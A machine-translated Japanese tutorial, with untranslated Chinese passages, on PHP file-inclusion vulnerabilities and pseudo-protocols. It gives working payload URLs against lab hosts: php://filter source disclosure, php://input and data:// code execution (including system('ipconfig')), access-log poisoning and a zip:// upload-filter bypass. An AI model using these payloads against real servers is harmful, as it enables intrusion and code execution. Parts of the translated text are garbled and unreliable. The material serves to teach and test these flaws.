この記事では、PHP に関する関連問題を紹介します。主に、ファイル インクルードと PHP 疑似プロトコルに関する関連コンテンツを紹介します。ファイル インクルージョンの脆弱性は、「コード インジェクション」の一種です。合わせて、皆さんのお役に立てれば幸いです。
推奨される調査: 「PHP ビデオ チュートリアル 」
ファイル インクルージョンの脆弱性「コードインジェクション」の一種です。原則は、ユーザーが制御できるスクリプトまたはコードを挿入し、サーバーに実行させることです。 「コードインジェクション」の代表的なものはファイルインクルードです。
ファイル インクルードの脆弱性を攻撃に悪用するには、次の 2 つの条件を満たす必要があります。
Web アプリケーションは、動的に include() およびその他のファイル インクルード関数を使用します。含める必要があるファイルを紹介します;
ユーザーは動的変数を制御できます。
ファイルのインクルードを引き起こす一般的な関数:
PHP: include()、include_once()、require()、require_once() など;
1.php ファイルcontains インクルードされたファイルのコードを直接実行でき、インクルードされるファイル形式には制限がありません
PHP では 4 つのファイル インクルード関数が提供されています:
(1) Require: 次の場合に致命的なエラーが発生します。インクルードされたファイルが見つかりません。(E_COMPILE_ERROR) スクリプトを停止します;
(2) インクルード: インクルードされたファイルが見つからない場合、1 つだけ (E_waring) が生成され、スクリプトは実行を続けます;
(3) Require_once: include と同様に、警告が生成されますが、違いは、ファイル コードがインクルードされている場合、再度インクルードされないことです。
php pseudo-protocol は、実際には、それがサポートするプロトコルおよびカプセル化プロトコルです。サポートするプロトコルは次のとおりです:
file:// — 访问本地文件系统 php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流
all_url_include は PHP 5.2 以降に追加されました。安全で便利な設定 (php のデフォルト設定) は次のとおりです:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (URL ファイルを開くことを許可、デフォルトで有効)
allow_url_fopen = Off (URL ファイルを開くことを禁止)
allow_url_include = Off (URL ファイルの参照を禁止、新バージョンでは機能が追加、デフォルトで無効)
allow_url_include = On (URL ファイルへの参照を許可、新バージョンでは機能が追加されます)
file:// ファイル システムは、によって使用されるデフォルトのカプセル化プロトコルです。 PHP、ローカル ファイル システムを表示します。
file:// プロトコルを使用してローカル phpinfo.php
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php
がよく使用されます。php://filter は、ソース コードを読み取るために使用されます。
php://input は、php コードを実行するために使用されます。
http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.phpphp://filter では、php ファイルを読み取るときに Base64 エンコードが必要です
php://input
***allow_url_include = On***
http://localhost/www/lfi.php?file=php://input POST <?system ('ipconfig')?>##allow_url_include = Off が必要です
まず第一に、ログのパスを爆破するためのファズ メソッドが必要です。
注: アクセスするには、ここでゲップ パケット キャプチャを使用する必要があります。そうでない場合、コードは URL エンコードされてログに書き込まれ、実行できません。
コードをユーザー エージェントに書き込むこともできますhttp://localhost/www/lfi.php?file=<?php phpinfo();?>
F:\phpstudy\phpstudy_pro\Extensions\Apache2 .4.39\logs\access.log.1631750400
file:// pseudo-protocol を使用してログを読み取ると、phpinfo が正常に実行されたことがわかりました
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400
zip://protocol
分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。
分析文件包含的源代码
Tips: the parameter is file! :) <!-- upload.php --><?php @$file = $_GET["file"]; echo $file; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } }?>
分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。
综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。
在文件上传时候将后缀名zip修改为png的后缀名,
test.php中写入木马
<?phpphpinfo ();?>
如下图所示
图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功
http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test
条件:
allow_url_fopen:on allow_url_include :on
访问网址
http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>
也可以使用base64编码,防止代码被过滤掉
file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
推荐学习:《PHP视频教程》
以上がファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょうの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。